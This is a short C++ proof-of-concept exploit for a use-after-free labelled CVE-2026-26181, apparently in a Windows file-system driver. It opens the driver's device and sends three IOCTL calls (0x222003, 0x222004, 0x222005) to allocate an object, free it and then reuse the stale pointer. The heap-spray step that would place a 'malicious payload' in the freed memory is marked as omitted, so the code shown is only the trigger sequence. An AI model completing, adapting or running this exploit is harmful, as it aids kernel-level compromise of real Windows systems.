#include <windows.h>
#include <iostream>
// Conceptual PoC for CVE-2026-26181 (Use After Free)
// This code demonstrates the logic flow to trigger the vulnerability.
void TriggerExploit() {
HANDLE hDevice = CreateFile(L"\\\\.\\BrokeringFileSystemDevice",
GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
std::cerr << "Failed to access the target device." << std::endl;
return;
}
DWORD bytesReturned;
PVOID vulnerablePtr = NULL;
// 1. Allocate vulnerable object
DeviceIoControl(hDevice, 0x222003, NULL, 0, &vulnerablePtr, sizeof(vulnerablePtr), &bytesReturned, NULL);
// 2. Free the object to create Use-After-Free condition
DeviceIoControl(hDevice, 0x222004, &vulnerablePtr, sizeof(vulnerablePtr), NULL, 0, &bytesReturned, NULL);
// 3. Spray the heap to occupy the freed memory with malicious payload
// (Implementation omitted for brevity)
// 4. Trigger UAF by using the freed pointer
DeviceIoControl(hDevice, 0x222005, &vulnerablePtr, sizeof(vulnerablePtr), NULL, 0, &bytesReturned, NULL);
std::cout << "Exploit trigger attempted." << std::endl;
CloseHandle(hDevice);
}
int main() {
TriggerExploit();
return 0;
}